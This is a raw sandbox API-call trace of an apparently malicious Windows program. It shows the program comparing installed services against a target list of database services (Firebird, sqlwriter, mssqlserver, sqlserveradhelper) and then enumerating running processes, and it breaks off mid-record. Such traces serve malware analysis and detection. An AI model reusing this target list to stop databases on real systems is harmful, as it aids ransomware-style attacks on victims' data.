[0176.464] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0176.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0176.464] lstrlenW (lpString="DusmSvc") returned 7 [0176.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0176.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0176.464] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0176.464] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0176.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0176.464] lstrlenW (lpString="EventLog") returned 8 [0176.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0176.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0176.465] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0176.465] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0176.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0176.465] lstrlenW (lpString="EventSystem") returned 11 [0176.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0176.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0176.465] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0176.465] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0176.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0176.465] lstrlenW (lpString="FontCache") returned 9 [0176.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0176.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0176.465] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0176.465] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0176.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0176.465] lstrlenW (lpString="gpsvc") returned 5 [0176.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0176.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0176.465] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0176.465] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0176.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0176.465] lstrlenW (lpString="iphlpsvc") returned 8 [0176.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.465] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0176.465] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0176.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0176.465] lstrlenW (lpString="KeyIso") returned 6 [0176.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0176.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0176.465] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0176.465] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0176.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0176.465] lstrlenW (lpString="LanmanServer") returned 12 [0176.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0176.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0176.466] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0176.466] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0176.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0176.466] lstrlenW (lpString="LanmanWorkstation") returned 17 [0176.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.466] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0176.466] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0176.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0176.466] lstrlenW (lpString="lfsvc") returned 5 [0176.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0176.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0176.466] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0176.466] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0176.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0176.466] lstrlenW (lpString="lmhosts") returned 7 [0176.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0176.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0176.466] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0176.466] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0176.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0176.466] lstrlenW (lpString="LSM") returned 3 [0176.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0176.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0176.466] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0176.466] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0176.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0176.466] lstrlenW (lpString="MpsSvc") returned 6 [0176.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0176.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0176.466] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0176.466] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0176.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0176.467] lstrlenW (lpString="NcbService") returned 10 [0176.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0176.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0176.467] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0176.467] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0176.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0176.467] lstrlenW (lpString="netprofm") returned 8 [0176.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0176.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0176.467] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0176.467] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0176.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0176.467] lstrlenW (lpString="NgcSvc") returned 6 [0176.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0176.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0176.467] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0176.467] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0176.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0176.467] lstrlenW (lpString="NlaSvc") returned 6 [0176.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0176.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0176.467] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0176.467] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0176.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0176.467] lstrlenW (lpString="nsi") returned 3 [0176.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0176.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0176.467] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0176.467] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0176.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0176.467] lstrlenW (lpString="PcaSvc") returned 6 [0176.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0176.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0176.468] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0176.468] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0176.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0176.468] lstrlenW (lpString="PlugPlay") returned 8 [0176.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0176.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0176.468] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0176.468] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0176.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0176.468] lstrlenW (lpString="Power") returned 5 [0176.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0176.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0176.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0176.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0176.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0176.468] lstrlenW (lpString="ProfSvc") returned 7 [0176.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0176.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0176.468] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0176.468] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0176.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0176.468] lstrlenW (lpString="RpcEptMapper") returned 12 [0176.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.468] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0176.468] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0176.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0176.468] lstrlenW (lpString="RpcSs") returned 5 [0176.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0176.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0176.468] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0176.468] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0176.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0176.468] lstrlenW (lpString="SamSs") returned 5 [0176.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0176.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0176.469] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0176.469] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0176.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0176.469] lstrlenW (lpString="Schedule") returned 8 [0176.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0176.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0176.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0176.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0176.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0176.469] lstrlenW (lpString="SecurityHealthService") returned 21 [0176.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0176.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0176.469] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0176.469] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0176.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0176.469] lstrlenW (lpString="SENS") returned 4 [0176.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0176.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0176.469] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0176.469] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0176.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0176.469] lstrlenW (lpString="ShellHWDetection") returned 16 [0176.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0176.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0176.469] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0176.469] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0176.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0176.469] lstrlenW (lpString="Spooler") returned 7 [0176.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0176.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0176.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0176.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0176.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0176.470] lstrlenW (lpString="StateRepository") returned 15 [0176.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0176.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0176.470] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0176.470] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0176.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0176.470] lstrlenW (lpString="SysMain") returned 7 [0176.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0176.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0176.470] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0176.470] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0176.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0176.470] lstrlenW (lpString="SystemEventsBroker") returned 18 [0176.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0176.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0176.470] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0176.470] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0176.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0176.470] lstrlenW (lpString="Themes") returned 6 [0176.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0176.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0176.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0176.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0176.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0176.470] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0176.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0176.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0176.470] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0176.470] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0176.471] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4181fb8 | out: hHeap=0x420000) returned 1 [0176.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4dc [0176.483] Process32FirstW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.483] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0176.483] lstrlenW (lpString="System") returned 6 [0176.483] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0176.484] lstrlenW (lpString="smss.exe") returned 8 [0176.484] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0176.484] lstrlenW (lpString="csrss.exe") returned 9 [0176.484] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0176.485] lstrlenW (lpString="wininit.exe") returned 11 [0176.485] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0176.485] lstrlenW (lpString="csrss.exe") returned 9 [0176.485] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0176.486] lstrlenW (lpString="winlogon.exe") returned 12 [0176.486] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0176.486] lstrlenW (lpString="services.exe") returned 12 [0176.486] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0176.487] lstrlenW (lpString="lsass.exe") returned 9 [0176.487] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0176.487] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0176.487] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0176.488] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0176.488] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.488] lstrlenW (lpString="svchost.exe") returned 11 [0176.488] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.489] lstrlenW (lpString="svchost.exe") returned 11 [0176.489] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0176.489] lstrlenW (lpString="dwm.exe") returned 7 [0176.489] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.490] lstrlenW (lpString="svchost.exe") returned 11 [0176.490] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.490] lstrlenW (lpString="svchost.exe") returned 11 [0176.490] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.490] lstrlenW (lpString="svchost.exe") returned 11 [0176.491] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.491] lstrlenW (lpString="svchost.exe") returned 11 [0176.491] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.491] lstrlenW (lpString="svchost.exe") returned 11 [0176.492] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.492] lstrlenW (lpString="svchost.exe") returned 11 [0176.492] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.493] lstrlenW (lpString="svchost.exe") returned 11 [0176.493] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.493] lstrlenW (lpString="svchost.exe") returned 11 [0176.493] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.494] lstrlenW (lpString="svchost.exe") returned 11 [0176.494] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.494] lstrlenW (lpString="svchost.exe") returned 11 [0176.494] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0176.495] lstrlenW (lpString="spoolsv.exe") returned 11 [0176.495] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.495] lstrlenW (lpString="svchost.exe") returned 11 [0176.495] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, 